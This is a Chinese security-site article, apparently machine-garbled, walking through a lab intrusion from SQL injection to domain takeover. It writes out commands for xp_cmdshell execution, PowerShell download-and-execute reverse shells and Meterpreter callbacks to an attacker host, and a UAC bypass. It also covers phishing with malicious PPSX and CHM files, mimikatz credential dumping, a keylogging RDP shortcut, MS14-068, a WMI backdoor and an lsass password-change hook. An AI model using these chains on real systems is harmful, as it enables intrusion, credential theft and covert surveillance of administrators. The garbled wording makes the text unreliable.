频道栏目
首页 > 安全 > 网络安全 > 正文

无弹窗入侵渗透试验研究

2017-09-06 09:34:43      个评论      
收藏   我要投稿

0x01 前渗入渗出
内网拓扑阐明:
10.101.101.0/24 网段模仿的是外网的地点 
192.168.101.0/24 网段模仿的是一个小型企业的内网中的应用办事器收集 
192.168.111.0/24 网段模仿的是一个小型企业的内网中的办公收集 
企业内网能够无限定的访问到外网,然则外网无奈访问到企业内网 
办公网能够无限定的访问到应用办事器收集,然则应用办事器收集无奈访问到办公收集
部门办事器打了全体的补钉,并且坚持失常更新
内网拓扑图:

扫描 10.101.101.13 后发明此办事器凋谢 80、82 端口, Win2008 体系,80 端口处发明 SQL 注入,获得数据库和数据库地点办事器版本:
http://10.101.101.13/?page=1
 and @@version>0 --

数据库是 2008r2 的,地点的操作体系是 Win2008 或 Win7,随后看数据库:
http://10.101.101.13/?page=1;if
 IS_SRVROLEMEMBER('sysadmin')=1 waitfor delay '0:0:5' --
这个语句测试数据库的权限,发明有延时,证实是有数据库的权限是dba的权限,关上 xp_cmdshell 的限定,创立暂时表履行敕令并将成果写入新创立的暂时表中:
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; 
http://10.101.101.13/?page=1;create table temp(id int identity(1,1),a varchar(8000));--
http://10.101.101.13/?page=1;insert into temp exec master.dbo.xp_cmdshell 'ipconfig /all';--
读取成果:
http://10.101.101.13/?page=1
 and (select substring((select a from temp for xml auto),1,4000))>0--

看上去这个网站是站库分别的网站,用这类办法履行 ping 10.101.101.16 ,发明数据库办事器能够通外网,获得这些信息以后,我 drop table temp 删除创立的暂时表。在获获得这么多信息了以后,在本身机子上开一个 Web 站点下载 nishang 的 powershell 的反弹剧本到本身的 Web 办事器上:https://github.com/samratashok/nishang
nv -lvvp 8888 监听期待反弹,而后履行:
http://10.101.101.13/?page=1;exec
 master..xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString('
http://10.101.101.13/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp
 -Reverse -IPAddress 10.101.101.13 -port 8888';--

然则数据库权限其实不高,如今我将用 Powershell 长途加载并履行exe的剧本履行 ms15-051 ,Ps 剧当地点:https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 ,履行:
IEX (New-Object Net.WebClient).DownloadString('
http://10.101.101.13/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection
 -PEUrl
http://10.101.101.13/x86/ms15-051.exe
 -ExeArgs "cmd" -ForceA
能够看到提权没有胜利,并且换一个 Exploit 也没胜利:

继承应用 msf 探测,开启 msf 监听功效:

履行,从数据库主机上反弹一个 meterpreter 衔接:
http://10.101.101.13/?page=1;exec
 master..xp_cmdshell('IEX(New-Object Net.WebClient).DownloadString("
http://10.101.101.16/CodeExecution/Invoke-Shellcode.ps1"
;)
Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 4444 -force')
随后用 use auxiliary/scanner/smb/smb_version扫描 smb 获得内网信息,发明 mail 办事器,而后用 use auxiliary/scanner/portscan扫描端口,发明凋谢 80 25 110 端口:

应用 use auxiliary/server/socks4a 署理进内网后在 82 断口处发明了欣喜:

经由过程弱口令轻松进入到后盾,发明一个能够天生动态站的处所:


把自定义动态页面存储主门路改为 1.asp ,而后编纂一篇文章把木马代码放进去,从新天生动态页面 GetShell :

这个办事器的 82 不克不及履行cmd,不支持aspx,不克不及跨目次到umail,然则在一个奇怪的处所发明一个一份企业通讯录,下载上去看到管理员邮箱:

因而想到用捏造邮件的办法来钓管理员,参考两篇文章:
http://www.freebuf.com/vuls/144054.html
http://www.91ri.org/15506.html
第一种办法:起首用 CVE-2017-8570 Explot 做一个垂纶用的 ppsx ,由于原来的 exp 要用 Poershell 下载 shell.exe 再履行,如许轻易被杀软发明,并且原来的 exp 履行反弹返来的 shell 权限不敷,以是要斟酌绕过 UAC ,让管理员点击歹意的 ppsx 后静默反弹一个高权限的shell ,假如用 nishang 给的 Invoke-PsUACme.ps1 ,履行以后会有一个一闪而过的黑框框,很让人觉得狐疑,去掉这个一闪而过的黑框框很简略,由于我用 oobe 的办法在 Win7 上绕过 UAC ,以是我在这里只先容在这类前提下去掉黑框框的办法,起首去掉 Invoke-PsUACme.ps1 第206行的 & $execpath 代码,以后在挪用 Invoke-PsUACme 的时刻 -payload 参数写上你要履行的敕令,末了用 rundll32.exe 静默启动 C:/Windows/System32/oobe/setupsqm.exe
IEX(New-Object Net.WebClient).DownloadString("
http://10.101.101.16/uacchm.ps1"
;)
换掉原来 exp 外面的 Powershell 挪用语句,此中 uacchm.ps1 的内容是:
IEX (New-Object System.Net.WebClient).DownloadString('
http://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1'
;)
Invoke-PsUACme -method oobe -Payload 'powershell -win hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=='
Start-Process -FilePath rundll32.exe -ArgumentList 'javascript:"..\mshtml,RunHTMLApplication ";new%20ActiveXObject("WScript.Shell").Run("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();'
而此中enc前面的数据是颠末下面的代码编码而成: 
$command = "IEX (New-Object Net.WebClient).DownloadString('
http://10.101.101.16/chm.ps1')"
;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand
编码的内容:
IEX (New-Object System.Net.WebClient).DownloadString('http://10.101.101.16/chm.ps1';)
chm.ps1:
IEX (New-Object System.Net.WebClient).DownloadString("http://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1";); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 7777 -force
改好的 exp https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py  ,用法是:先天生一个歹意的ppsx
python cve-2017-8570_toolkit.py -M gen -w car.ppsx -u
http://10.101.101.16:82/logo.doc
在 82 端口开启办事:

python cve-2017-8570_toolkit.py -p 82 -M exp -e 10.101.101.16

Ps: 很多多少时刻这个破绽复现不胜利,能够将检查 文件 -> 选项,点击 相信中间设置,去掉设置中的一切勾取选项便可:


第二种办法比拟简略,用 easy chm 做一个歹意的 chm :

此中我做的 test.html 我放在了 https://github.com/niexinming/safe_tool/blob/master/test.html Ps: 由于PARAM的value的长度彷佛有某种限定,以是我把
IEX (New-Object Net.WebClient).DownloadString("
http://10.101.101.16/uacchm.ps1"
;)
base64 编码以后放入 PARAM 的 value 中 :

两个歹意的文件都制造好后用 swaks 捏造邮件把这两个文档发送进来:

 


如今悄悄期待管理员点击咱们的歹意文件,启动msf的 exploit/multi/handler 模块时刻用 exploit -j 就能够让 msf 在后盾期待管理员中计了。
0x02 后渗入渗出
当咱们发明一个管理员中了咱们的木马:

由于 bypass 了 uac ,以是前往的是管理员的 shell ,咱们能够用 mimikatz 来把暗码脱进去看看:

由于管理员的机子不属于任何域,也不是域账号登岸,以是我必要获得他的在长途登岸其余机子的时刻的用户名和暗码,依据这篇文件的先容,我盼望调换长途桌面的快捷方法来监督管理员的行动,思绪是:
失常启动c:\windows\system32\mstsc.exe,防止管理员狐疑
由于原来的exp一启动就会有个黑框框一闪而过,要用rundll32的方法来打消黑框框,让歹意代码动态启动
参数部门要先加260个空格字符前面接着为payload代码,如许减小管理员检查属性的时刻看到payload而发生狐疑
参考http://wooyun.jozxing.cc/static/drops/tips-13125.html这个文章静默启动一个桌面步调记载法式
应用PowerSploit的Get-Keystrokes.ps1的剧原来记载键盘记载
记载一分钟后把记载的文件暗藏起来
启动metasploit的反弹衔接
篡改图标(对于C:\Windows\system32\SHELL32.dll的图标id,有个网站给的很周全,http://help4windows.com/windows_7_shell32_dll.shtml,能够篡改传递给图标id来篡改图标)
我把篡改好的代码放在 https://github.com/niexinming/safe_tool/blob/master/link.ps1 ,长途加载的歹意的 PowerShell 代码放在了 https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1,天生好歹意的快捷方法以后只需篡改 rlnk.ps1 就能够做你想做的工作了。
应用办法:

看着曾经天生好了,看一下后果:

看着比拟失常,用起来也很失常,没有卡顿,没有一闪而过的黑框,假如管理员用到长途登岸快捷方法去长途登岸办事器的话,在 c:\windows\temp 目次下会天生 log.dll ,这个外面记载的是键盘记载,cap.zip记载的是症结步调截屏:   

等管理员启动的歹意的长途登岸快捷方法以前,能够用管理员的暗码在应用办事器网段内用 use auxiliary/scanner/smb/smb_login 碰碰命运运限(看起来命运运限其实不怎样。。。):

等了几天后,咱们发明在这个目次下终究有器械了,下载以后看到键盘记载:

屏幕截图记载:

咱们如今获得了一个通俗域账号的账户名和暗码,下面尝尝 MS14-068 能不克不及胜利,参考:http://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35&type=note#/ ,用 proxychain 履行:

goldenPac.py diattack.com/jack:jackpwd@dns.diattack.com
NICE!!!

Ps: 进击的时刻假如dns在内网要记得hosts的地点绑定。

用获得的 shell 反弹一个 PoweShell 出离开当地8888端口,假如你用下面的语句反弹的话将获得是一个32位的 PowerShell : 
powershell IEX (New-Object Net.WebClient).DownloadString('
http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp
 -Reverse -IPAddress 10.101.101.16 -port 8888
这个时刻假如你运转:
IEX (New-Object Net.WebClient).DownloadString('
http://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz
体系会报错,缘故原由是你不克不及在32位的 Shell 中运转64位的程法式,这里涉及到一个64位体系文件重定向的成绩,参考:http://www.cnblogs.com/lhglihuagang/p/3930874.html,以是准确的做法是应用下面的代码来反弹一个64位的 PowerShell : 

 

C://Windows//SysNative/WindowsPowerShell//v1.0//powershell.exe IEX (New-Object Net.WebClient).DownloadString('
http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp
 -Reverse -IPAddress 10.101.101.16 -port 8888
再次运转:
IEX (New-Object Net.WebClient).DownloadString('
http://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

胜利获得域控管理员的暗码,下面咱们要在域控下面装置一个隐藏的后门,参考:
http://www.moonsec.com/post-621.html
https://www.secpulse.com/archives/39555.html
http://wooyun.jozxing.cc/static/drops/tips-15575.html  ;
这里应用三勤学生的办法制造一个 wmi 的后门,起首在本身的 Web 目次下写一个 mof.ps1 ,这个文件感化是用应用 wmi 的定时器的功效让体系每分钟履行一次咱们的 payload,这个 mof.ps1 我放在 https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1 ,我还写了一个能够挟制过程的 Powershell 剧本,放在 https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1 ,这里我的 Payload 用一个反弹 meterpreter 衔接的剧本,mof.txt:  
  xml version="1.0"?>
    package>    component id="testCalc">
    script language="JScript">        script>
    component>    package>
enc编码前的内容仍然是:
IEX (New-Object System.Net.WebClient).DownloadString('
http://10.101.101.16/chm.ps1'
;)
履行以后,每分钟会反弹一个meterpreter的shell,并且重启后仍然会反弹:

Ps: 这个wmi的后门我在Win10上试验的时刻不克不及履行 Payload ,假如触发到后门的触发前提的话, Win10 会弹出 openwith.exe 这个过程,界面上看便是这个:

查了两天材料也没有找到一个正派的办理办法,然则起初把 openwith.exe 换成 cmd.exe 就能够履行 Payload 了,由于 win7 和 win2008 没有 openwith ,以是没有碰到甚么阻力就间接履行Payload,然则 Win10 和 Win8 在失常情况下就会关上 openwith ,这个后门的清算方法能够参考:https://www.52pojie.cn/thread-607115-1-1.html

末了,我还想搁置一个后们,在域控管理员改暗码的时刻记载他的新暗码[参考],留意他的剧本外面有一个选项能够从你的 Web 办事器加载一个dll到对方主机内存外面,如许你把你的dll天生好以后就能够放在你的 Web 办事器下面,在这个ps1最下面参加:
Invoke-ReflectivePEInjection -PEUrl
http://10.101.101.16/HookPasswordChange.dll
 –procname lsass
而后你把这个剧本的挪用参加到chm.ps1外面,下面是篡改以后chm.ps1外面的内容:
IEX (New-Object System.Net.WebClient).DownloadString("
http://10.101.101.16/HookPasswordChangeNotify.ps1"
;)
IEX (New-Object System.Net.WebClient).DownloadString("
http://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"
;); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 7777 -force
如许一方面咱们能够反弹一个 meterpreter ,另一方面还能够在域管理员改暗码的时刻记载他的新暗码:
上一篇:基于信息片断的民众密码研究
下一篇:腾讯反病毒研究室支招保卫个人隐私防止黑客破解家庭监控摄像头
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站